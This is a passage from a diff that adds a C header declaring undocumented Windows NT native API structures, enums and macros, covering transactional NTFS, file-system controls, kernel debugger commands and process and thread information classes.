TXFS_LOGGING_MODE_SIMPLE. + // + + USHORT LoggingMode; + + // + // Length in bytes of the path to the log to be used by the RM. This parameter + // is required. + // + + USHORT LogPathLength; + + // + // Reserved. + // + + USHORT Reserved; + + // + // The path to the log (in Unicode characters) to be used by the RM goes here. + // This parameter is required. + // + + WCHAR LogPath[1]; + +} TXFS_START_RM_INFORMATION, + *PTXFS_START_RM_INFORMATION; + +// +// Structures for FSCTL_TXFS_GET_METADATA_INFO +// + +typedef struct _TXFS_GET_METADATA_INFO_OUT { + + // + // Returns the TxfId of the file referenced by the handle used to call this routine. + // + + struct { + LONGLONG LowPart; + LONGLONG HighPart; + } TxfFileId; + + // + // The GUID of the transaction that has the file locked, if applicable. + // + + GUID LockingTransaction; + + // + // Returns the LSN for the most recent log record we've written for the file. + // + + ULONGLONG LastLsn; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + +} TXFS_GET_METADATA_INFO_OUT, *PTXFS_GET_METADATA_INFO_OUT; + +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_CREATED 0x00000001 +#define TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_DELETED 0x00000002 + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY { + + // + // Offset in bytes from the beginning of the TXFS_LIST_TRANSACTION_LOCKED_FILES + // structure to the next TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; + + // + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY_FLAG_* flags to indicate whether the + // current name was deleted or created in the transaction. + // + + ULONG NameFlags; + + // + // NTFS File ID of the file. + // + + LONGLONG FileId; + + // + // Reserved. + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; + + // + // NULL-terminated Unicode path to this file, relative to RM root. + // + + WCHAR FileName[1]; +} TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY, *PTXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY; + + +typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES { + + // + // GUID name of the KTM transaction that files should be enumerated from. + // + + GUID KtmTransaction; + + // + // On output, the number of files involved in the transaction on this RM. + // + + ULONGLONG NumberOfFiles; + + // + // The length of the buffer required to obtain the complete list of files. + // This value may change from call to call as the transaction locks more files. + // + + ULONGLONG BufferSizeRequired; + + // + // Offset in bytes from the beginning of this structure to the first + // TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY. + // + + ULONGLONG Offset; +} TXFS_LIST_TRANSACTION_LOCKED_FILES, *PTXFS_LIST_TRANSACTION_LOCKED_FILES; + +// +// Structures for FSCTL_TXFS_LIST_TRANSACTIONS +// + +typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY { + + // + // Transaction GUID. + // + + GUID TransactionId; + + // + // Transaction state, a TXFS_TRANSACTION_STATE_* value. + // + + ULONG TransactionState; + + // + // Reserved fields + // + + ULONG Reserved1; + ULONG Reserved2; + LONGLONG Reserved3; +} TXFS_LIST_TRANSACTIONS_ENTRY, *PTXFS_LIST_TRANSACTIONS_ENTRY; + +typedef struct _TXFS_LIST_TRANSACTIONS { + + // + // On output, the number of transactions involved in this RM. + // + + ULONGLONG NumberOfTransactions; + + // + // The length of the buffer required to obtain the complete list of + // transactions. Note that this value may change from call to call + // as transactions enter and exit the system. + // + + ULONGLONG BufferSizeRequired; +} TXFS_LIST_TRANSACTIONS, *PTXFS_LIST_TRANSACTIONS; + + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT { + union { + + // + // Used to return the required buffer size if return code is STATUS_BUFFER_OVERFLOW + // + + ULONG BufferLength; + + // + // On success the data is copied here. + // + + UCHAR Buffer[1]; + } DUMMYUNIONNAME; +} TXFS_READ_BACKUP_INFORMATION_OUT, *PTXFS_READ_BACKUP_INFORMATION_OUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) +#endif + +typedef struct _TXFS_WRITE_BACKUP_INFORMATION { + UCHAR Buffer[1]; +} TXFS_WRITE_BACKUP_INFORMATION, *PTXFS_WRITE_BACKUP_INFORMATION; + +#define TXFS_TRANSACTED_VERSION_NONTRANSACTED 0xFFFFFFFE +#define TXFS_TRANSACTED_VERSION_UNCOMMITTED 0xFFFFFFFF + +typedef struct _TXFS_GET_TRANSACTED_VERSION { + + // + // The version that this handle is opened to. This will be + // TXFS_TRANSACTED_VERSION_UNCOMMITTED for nontransacted and + // transactional writer handles. + // + + ULONG ThisBaseVersion; + + // + // The most recent committed version available. + // + + ULONG LatestVersion; + + // + // If this is a handle to a miniversion, the ID of the miniversion. + // If it is not a handle to a minivers, this field will be 0. + // + + USHORT ThisMiniVersion; + + // + // The first available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT FirstMiniVersion; + + // + // The latest available miniversion. Unless the miniversions are + // visible to the transaction bound to this handle, this field will be zero. + // + + USHORT LatestMiniVersion; + +} TXFS_GET_TRANSACTED_VERSION, *PTXFS_GET_TRANSACTED_VERSION; + + +#define TXFS_SAVEPOINT_SET 0x00000001 + +// +// Roll back to a specified savepoint. +// + +#define TXFS_SAVEPOINT_ROLLBACK 0x00000002 + +// +// Clear (make unavailable for rollback) the most recently set savepoint +// that has not yet been cleared. +// + +#define TXFS_SAVEPOINT_CLEAR 0x00000004 + +// +// Clear all savepoints from the transaction. +// + +#define TXFS_SAVEPOINT_CLEAR_ALL 0x00000010 + +typedef struct _TXFS_SAVEPOINT_INFORMATION { + HANDLE KtmTransaction; + ULONG ActionCode; + ULONG SavepointId; +} TXFS_SAVEPOINT_INFORMATION, *PTXFS_SAVEPOINT_INFORMATION; + + +typedef struct _TXFS_CREATE_MINIVERSION_INFO { + + USHORT StructureVersion; + USHORT StructureLength; + ULONG BaseVersion; + USHORT MiniVersion; +} TXFS_CREATE_MINIVERSION_INFO, *PTXFS_CREATE_MINIVERSION_INFO; + + +typedef struct _TXFS_TRANSACTION_ACTIVE_INFO { + BOOLEAN TransactionsActiveAtSnapshot; + +} TXFS_TRANSACTION_ACTIVE_INFO, *PTXFS_TRANSACTION_ACTIVE_INFO; + +#endif /* _WIN32_WINNT >= 0x0600 */ + +#if (_WIN32_WINNT >= 0x0601) + +typedef struct _BOOT_AREA_INFO { + + ULONG BootSectorCount; // the count of boot sectors present on the file system + struct { + LARGE_INTEGER Offset; + } BootSectors[2]; // variable number of boot sectors. + +} BOOT_AREA_INFO, *PBOOT_AREA_INFO; + +typedef struct _RETRIEVAL_POINTER_BASE { + + LARGE_INTEGER FileAreaOffset; // sector offset to the first allocatable unit on the filesystem +} RETRIEVAL_POINTER_BASE, *PRETRIEVAL_POINTER_BASE; + +typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION { + + ULONG VolumeFlags; + ULONG FlagMask; + ULONG Version; + ULONG Reserved; + +} FILE_FS_PERSISTENT_VOLUME_INFORMATION, *PFILE_FS_PERSISTENT_VOLUME_INFORMATION; + +typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION { + + CHAR FileSystem[9]; + +} FILE_SYSTEM_RECOGNITION_INFORMATION, *PFILE_SYSTEM_RECOGNITION_INFORMATION; + +#define OPLOCK_LEVEL_CACHE_READ (0x00000001) +#define OPLOCK_LEVEL_CACHE_HANDLE (0x00000002) +#define OPLOCK_LEVEL_CACHE_WRITE (0x00000004) + +#define REQUEST_OPLOCK_INPUT_FLAG_REQUEST (0x00000001) +#define REQUEST_OPLOCK_INPUT_FLAG_ACK (0x00000002) +#define REQUEST_OPLOCK_INPUT_FLAG_COMPLETE_ACK_ON_CLOSE (0x00000004) + +#define REQUEST_OPLOCK_CURRENT_VERSION 1 + +typedef struct _REQUEST_OPLOCK_INPUT_BUFFER { + + // + // This should be set to REQUEST_OPLOCK_CURRENT_VERSION. + // + + USHORT StructureVersion; + + USHORT StructureLength; + + // + // One or more OPLOCK_LEVEL_CACHE_* values to indicate the desired level of the oplock. + // + + ULONG RequestedOplockLevel; + + // + // REQUEST_OPLOCK_INPUT_FLAG_* flags. + // + + ULONG Flags; + +} REQUEST_OPLOCK_INPUT_BUFFER, *PREQUEST_OPLOCK_INPUT_BUFFER; + +#define REQUEST_OPLOCK_OUTPUT_FLAG_ACK_REQUIRED (0x00000001) +#define REQUEST_OPLOCK_OUTPUT_FLAG_MODES_PROVIDED (0x00000002) + +typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER { + + USHORT StructureVersion; + + USHORT StructureLength; + + ULONG OriginalOplockLevel; + + ULONG NewOplockLevel; + + ULONG Flags; + + ACCESS_MASK AccessMode; + + USHORT ShareMode; + +} REQUEST_OPLOCK_OUTPUT_BUFFER, *PREQUEST_OPLOCK_OUTPUT_BUFFER; + + +#define SD_GLOBAL_CHANGE_TYPE_MACHINE_SID 1 + +typedef struct _SD_CHANGE_MACHINE_SID_INPUT { + + USHORT CurrentMachineSIDOffset; + USHORT CurrentMachineSIDLength; + + USHORT NewMachineSIDOffset; + USHORT NewMachineSIDLength; + +} SD_CHANGE_MACHINE_SID_INPUT, *PSD_CHANGE_MACHINE_SID_INPUT; + +typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT { + + // + // How many entries were successfully changed in the $Secure stream + // + + ULONGLONG NumSDChangedSuccess; + + // + // How many entires failed the update in the $Secure stream + // + + ULONGLONG NumSDChangedFail; + + // + // How many entires are unused in the current security stream + // + + ULONGLONG NumSDUnused; + + // + // The total number of entries processed in the $Secure stream + // + + ULONGLONG NumSDTotal; + + // + // How many entries were successfully changed in the $MFT file + // + + ULONGLONG NumMftSDChangedSuccess; + + // + // How many entries failed the update in the $MFT file + // + + ULONGLONG NumMftSDChangedFail; + + // + // Total number of entriess process in the $MFT file + // + + ULONGLONG NumMftSDTotal; + +} SD_CHANGE_MACHINE_SID_OUTPUT, *PSD_CHANGE_MACHINE_SID_OUTPUT; + +// +// Generic INPUT & OUTPUT structures for FSCTL_SD_GLOBAL_CHANGE +// + +#if _MSC_VER >= 1200 +#pragma warning(push) +#endif +#pragma warning(disable:4201) // unnamed struct + +typedef struct _SD_GLOBAL_CHANGE_INPUT +{ + // + // Input flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which type of change we are doing and pics which member + // of the below union is in use. + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_INPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_INPUT, *PSD_GLOBAL_CHANGE_INPUT; + +typedef struct _SD_GLOBAL_CHANGE_OUTPUT +{ + + // + // Output State Flags (none currently defined) + // + + ULONG Flags; + + // + // Specifies which below union to use + // + + ULONG ChangeType; + + union { + + SD_CHANGE_MACHINE_SID_OUTPUT SdChange; + }; + +} SD_GLOBAL_CHANGE_OUTPUT, *PSD_GLOBAL_CHANGE_OUTPUT; + +#if _MSC_VER >= 1200 +#pragma warning(pop) +#else +#pragma warning( default : 4201 ) /* nonstandard extension used : nameless struct/union */ +#endif + +// +// Flag to indicate the encrypted file is sparse +// + +#define ENCRYPTED_DATA_INFO_SPARSE_FILE 1 + +typedef struct _EXTENDED_ENCRYPTED_DATA_INFO { + + ULONG ExtendedCode; + ULONG Length; + ULONG Flags; + ULONG Reserved; + +} EXTENDED_ENCRYPTED_DATA_INFO, *PEXTENDED_ENCRYPTED_DATA_INFO; + + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT { + ULONG Flags; + ULONG NumberOfClusters; + LARGE_INTEGER Cluster[1]; +} LOOKUP_STREAM_FROM_CLUSTER_INPUT, *PLOOKUP_STREAM_FROM_CLUSTER_INPUT; + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT { + ULONG Offset; + ULONG NumberOfMatches; + ULONG BufferSizeRequired; +} LOOKUP_STREAM_FROM_CLUSTER_OUTPUT, *PLOOKUP_STREAM_FROM_CLUSTER_OUTPUT; + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_PAGE_FILE 0x00000001 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_DENY_DEFRAG_SET 0x00000002 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_FS_SYSTEM_FILE 0x00000004 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_FLAG_TXF_SYSTEM_FILE 0x00000008 + +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_MASK 0xff000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_DATA 0x01000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_INDEX 0x02000000 +#define LOOKUP_STREAM_FROM_CLUSTER_ENTRY_ATTRIBUTE_SYSTEM 0x03000000 + +typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY { + ULONG OffsetToNext; + ULONG Flags; + LARGE_INTEGER Reserved; + LARGE_INTEGER Cluster; + WCHAR FileName[1]; +} LOOKUP_STREAM_FROM_CLUSTER_ENTRY, *PLOOKUP_STREAM_FROM_CLUSTER_ENTRY; + +typedef struct _FILE_TYPE_NOTIFICATION_INPUT { + + ULONG Flags; + ULONG NumFileTypeIDs; + GUID FileTypeID[1]; + +} FILE_TYPE_NOTIFICATION_INPUT, *PFILE_TYPE_NOTIFICATION_INPUT; + +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_BEGIN 0x00000001 //Set when adding the specified usage on the given file +#define FILE_TYPE_NOTIFICATION_FLAG_USAGE_END 0x00000002 //Set when removing the specified usage on the given file + +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_PAGE_FILE, 0x0d0a64a1, 0x38fc, 0x4db8, 0x9f, 0xe7, 0x3f, 0x43, 0x52, 0xcd, 0x7c, 0x5c ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_HIBERNATION_FILE, 0xb7624d64, 0xb9a3, 0x4cf8, 0x80, 0x11, 0x5b, 0x86, 0xc9, 0x40, 0xe7, 0xb7 ); +DEFINE_GUID( FILE_TYPE_NOTIFICATION_GUID_CRASHDUMP_FILE, 0x9d453eb7, 0xd2a6, 0x4dbd, 0xa2, 0xe3, 0xfb, 0xd0, 0xed, 0x91, 0x09, 0xa9 ); +#endif /* _WIN32_WINNT >= 0x0601 */ + +#endif // _FILESYSTEMFSCTL_ + +// 21.12.2011 - end + +// 09.06.2011 - end + +typedef enum _SYSDBG_COMMAND +{ + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; + +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; + +typedef struct _SYSDBG_PHYSICAL +{ + PHYSICAL_ADDRESS Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL; + +typedef struct _SYSDBG_CONTROL_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + ULONG Processor; +} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE; + +enum _INTERFACE_TYPE { InterfaceTypeUndefined = -1, Internal, Isa, Eisa, MicroChannel, TurboChannel, PCIBus, VMEBus, NuBus, PCMCIABus, CBus, MPIBus, MPSABus, ProcessorInternal, InternalPowerBus, PNPISABus, PNPBus, Vmcs, ACPIBus, MaximumInterfaceType }; + +typedef struct _SYSDBG_IO_SPACE +{ + ULONG64 Address; + PVOID Buffer; + ULONG Request; + enum _INTERFACE_TYPE InterfaceType; + ULONG BusNumber; + ULONG AddressSpace; +} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE; + +typedef struct _SYSDBG_MSR +{ + ULONG Msr; + ULONG64 Data; +} SYSDBG_MSR, *PSYSDBG_MSR; + +typedef enum _BUS_DATA_TYPE +{ + ConfigurationSpaceUndefined = -1, + Cmos, + EisaConfiguration, + Pos, + CbusConfiguration, + PCIConfiguration, + VMEConfiguration, + NuBusConfiguration, + PCMCIAConfiguration, + MPIConfiguration, + MPSAConfiguration, + PNPISAConfiguration, + SgiInternalConfiguration, + MaximumBusDataType +} BUS_DATA_TYPE, *PBUS_DATA_TYPE; + +typedef struct _SYSDBG_BUS_DATA +{ + ULONG Address; + PVOID Buffer; + ULONG Request; + enum _BUS_DATA_TYPE BusDataType; + ULONG BusNumber; + ULONG SlotNumber; +} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA; + +typedef struct _SYSDBG_TRIAGE_DUMP +{ + ULONG Flags; + ULONG BugCheckCode; + ULONG_PTR BugCheckParam1; + ULONG_PTR BugCheckParam2; + ULONG_PTR BugCheckParam3; + ULONG_PTR BugCheckParam4; + ULONG ProcessHandles; + ULONG ThreadHandles; + PHANDLE Handles; +} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP; + +typedef enum _SYSTEM_INFORMATION_CLASS +{ + SystemBasicInformation, + SystemProcessorInformation, + SystemPerformanceInformation, + SystemTimeOfDayInformation, + SystemPathInformation, + SystemProcessInformation, + SystemCallCountInformation, + SystemDeviceInformation, + SystemProcessorPerformanceInformation, + SystemFlagsInformation, + SystemCallTimeInformation, + SystemModuleInformation, + SystemLocksInformation, + SystemStackTraceInformation, + SystemPagedPoolInformation, + SystemNonPagedPoolInformation, + SystemHandleInformation, + SystemObjectInformation, + SystemPageFileInformation, + SystemVdmInstemulInformation, + SystemVdmBopInformation, + SystemFileCacheInformation, + SystemPoolTagInformation, + SystemInterruptInformation, + SystemDpcBehaviorInformation, + SystemFullMemoryInformation, + SystemLoadGdiDriverInformation, + SystemUnloadGdiDriverInformation, + SystemTimeAdjustmentInformation, + SystemSummaryMemoryInformation, + SystemMirrorMemoryInformation, + SystemPerformanceTraceInformation, + SystemObsolete0, + SystemExceptionInformation, + SystemCrashDumpStateInformation, + SystemKernelDebuggerInformation, + SystemContextSwitchInformation, + SystemRegistryQuotaInformation, + SystemExtendServiceTableInformation, + SystemPrioritySeperation, + SystemVerifierAddDriverInformation, + SystemVerifierRemoveDriverInformation, + SystemProcessorIdleInformation, + SystemLegacyDriverInformation, + SystemCurrentTimeZoneInformation, + SystemLookasideInformation, + SystemTimeSlipNotification, + SystemSessionCreate, + SystemSessionDetach, + SystemSessionInformation, + SystemRangeStartInformation, + SystemVerifierInformation, + SystemVerifierThunkExtend, + SystemSessionProcessInformation, + SystemLoadGdiDriverInSystemSpace, + SystemNumaProcessorMap, + SystemPrefetcherInformation, + SystemExtendedProcessInformation, + SystemRecommendedSharedDataAlignment, + SystemComPlusPackage, + SystemNumaAvailableMemory, + SystemProcessorPowerInformation, + SystemEmulationBasicInformation, // WOW64 + SystemEmulationProcessorInformation, // WOW64 + SystemExtendedHandleInformation, + SystemLostDelayedWriteInformation, + SystemBigPoolInformation, + SystemSessionPoolTagInformation, + SystemSessionMappedViewInformation, + SystemHotpatchInformation, + SystemObjectSecurityMode, + SystemWatchdogTimerHandler, + SystemWatchdogTimerInformation, + SystemLogicalProcessorInformation, + SystemWow64SharedInformation, + SystemRegisterFirmwareTableInformationHandler, + SystemFirmwareTableInformation, + SystemModuleInformationEx, + SystemVerifierTriageInformation, + SystemSuperfetchInformation, + SystemMemoryListInformation, + SystemFileCacheInformationEx, + SystemThreadPriorityClientIdInformation, + SystemProcessorIdleCycleTimeInformation, + SystemVerifierCancellationInformation, + SystemProcessorPowerInformationEx, + SystemRefTraceInformation, + SystemSpecialPoolInformation, + SystemProcessIdInformation, + SystemErrorPortInformation, + SystemBootEnvironmentInformation, + SystemHypervisorInformation, + SystemVerifierInformationEx, + SystemTimeZoneInformation, + SystemImageFileExecutionOptionsInformation, + SystemCoverageInformation, + SystemPrefetchPatchInformation, + SystemVerifierFaultsInformation, + SystemSystemPartitionInformation, + SystemSystemDiskInformation, + SystemProcessorPerformanceDistribution, + SystemNumaProximityNodeInformation, + SystemDynamicTimeZoneInformation, + SystemCodeIntegrityInformation, + SystemProcessorMicrocodeUpdateInformation, + SystemProcessorBrandString, + SystemVirtualAddressInformation, + MaxSystemInfoClass +} SYSTEM_INFORMATION_CLASS, *PSYSTEM_INFORMATION_CLASS; + +typedef enum _EVENT_TRACE_INFORMATION_CLASS +{ + EventTraceKernelVersionInformation, + EventTraceGroupMaskInformation, + EventTracePerformanceInformation, + EventTraceTimeProfileInformation, + EventTraceSessionSecurityInformation, + MaxEventTraceInfoClass +} EVENT_TRACE_INFORMATION_CLASS, *PEVENT_TRACE_INFORMATION_CLASS; + +#define LOCK_QUEUE_WAIT 1 +#define LOCK_QUEUE_WAIT_BIT 0 + +#define LOCK_QUEUE_OWNER 2 +#define LOCK_QUEUE_OWNER_BIT 1 + +#define LOCK_QUEUE_TIMER_LOCK_SHIFT 4 +#define LOCK_QUEUE_TIMER_TABLE_LOCKS (1 << (8 - LOCK_QUEUE_TIMER_LOCK_SHIFT)) + +typedef enum _KSPIN_LOCK_QUEUE_NUMBER { + LockQueueDispatcherLock, + LockQueueUnusedSpare1, + LockQueuePfnLock, + LockQueueSystemSpaceLock, + LockQueueVacbLock, + LockQueueMasterLock, + LockQueueNonPagedPoolLock, + LockQueueIoCancelLock, + LockQueueWorkQueueLock, + LockQueueIoVpbLock, + LockQueueIoDatabaseLock, + LockQueueIoCompletionLock, + LockQueueNtfsStructLock, + LockQueueAfdWorkQueueLock, + LockQueueBcbLock, + LockQueueMmNonPagedPoolLock, + LockQueueUnusedSpare16, + LockQueueTimerTableLock, + LockQueueMaximumLock = LockQueueTimerTableLock + LOCK_QUEUE_TIMER_TABLE_LOCKS +} KSPIN_LOCK_QUEUE_NUMBER, *PKSPIN_LOCK_QUEUE_NUMBER; + +typedef enum _KPROFILE_SOURCE { + ProfileTime, + ProfileAlignmentFixup, + ProfileTotalIssues, + ProfilePipelineDry, + ProfileLoadInstructions, + ProfilePipelineFrozen, + ProfileBranchInstructions, + ProfileTotalNonissues, + ProfileDcacheMisses, + ProfileIcacheMisses, + ProfileCacheMisses, + ProfileBranchMispredictions, + ProfileStoreInstructions, + ProfileFpInstructions, + ProfileIntegerInstructions, + Profile2Issue, + Profile3Issue, + Profile4Issue, + ProfileSpecialInstructions, + ProfileTotalCycles, + ProfileIcacheIssues, + ProfileDcacheAccesses, + ProfileMemoryBarrierCycles, + ProfileLoadLinkedIssues, + ProfileMaximum +} KPROFILE_SOURCE; + +typedef enum _PROCESSINFOCLASS +{ + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + ProcessIoPriority, + ProcessExecuteFlags, + ProcessTlsInformation, + ProcessCookie, + ProcessImageInformation, + ProcessCycleTime, + ProcessPagePriority, + ProcessInstrumentationCallback, + ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE; + + +#define PROCESS_TERMINATE (0x0001) +#define PROCESS_CREATE_THREAD (0x0002) +#define PROCESS_SET_SESSIONID (0x0004) +#define PROCESS_VM_OPERATION (0x0008) +#define PROCESS_VM_READ (0x0010) +#define PROCESS_VM_WRITE (0x0020) +#define PROCESS_DUP_HANDLE (0x0040) +#define PROCESS_CREATE_PROCESS (0x0080) +#define PROCESS_SET_QUOTA (0x0100) +#define PROCESS_SET_INFORMATION (0x0200) +#define PROCESS_QUERY_INFORMATION (0x0400) +#define PROCESS_SET_PORT (0x0800) +#define PROCESS_SUSPEND_RESUME (0x0800) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// 28.05.2011 - rndbit +#define NtLastError() ( NtCurrentTeb()->LastErrorValue ) +#define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) + +#if defined(_M_X86) +#define NtCurrentPID() __readfsdword(0x20) +#else +#define NtCurrentPID() __readgsqword(0x20) +#endif + +#define THREAD_TERMINATE (0x0001) +#define THREAD_SUSPEND_RESUME (0x0002) +#define THREAD_ALERT (0x0004) +#define THREAD_GET_CONTEXT (0x0008) +#define THREAD_SET_CONTEXT (0x0010) +#define THREAD_SET_INFORMATION (0x0020) +#define THREAD_QUERY_INFORMATION (0x0040) +#define THREAD_SET_THREAD_TOKEN (0x0080) +#define THREAD_IMPERSONATE (0x0100) +#define THREAD_DIRECT_IMPERSONATION (0x0200) + +#define JOB_OBJECT_ASSIGN_PROCESS (0x0001) +#define JOB_OBJECT_SET_ATTRIBUTES (0x0002) +#define JOB_OBJECT_QUERY (0x0004) +#define JOB_OBJECT_TERMINATE (0x0008) +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) +#ifndef _WINNT_ +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) +#endif + +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FOREGROUND_BASE_PRIORITY 9 +#define NORMAL_BASE_PRIORITY 8 + +#ifndef FILE_READ_ACCESS +#define FILE_READ_ACCESS ( 0x0001 ) +#endif + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + 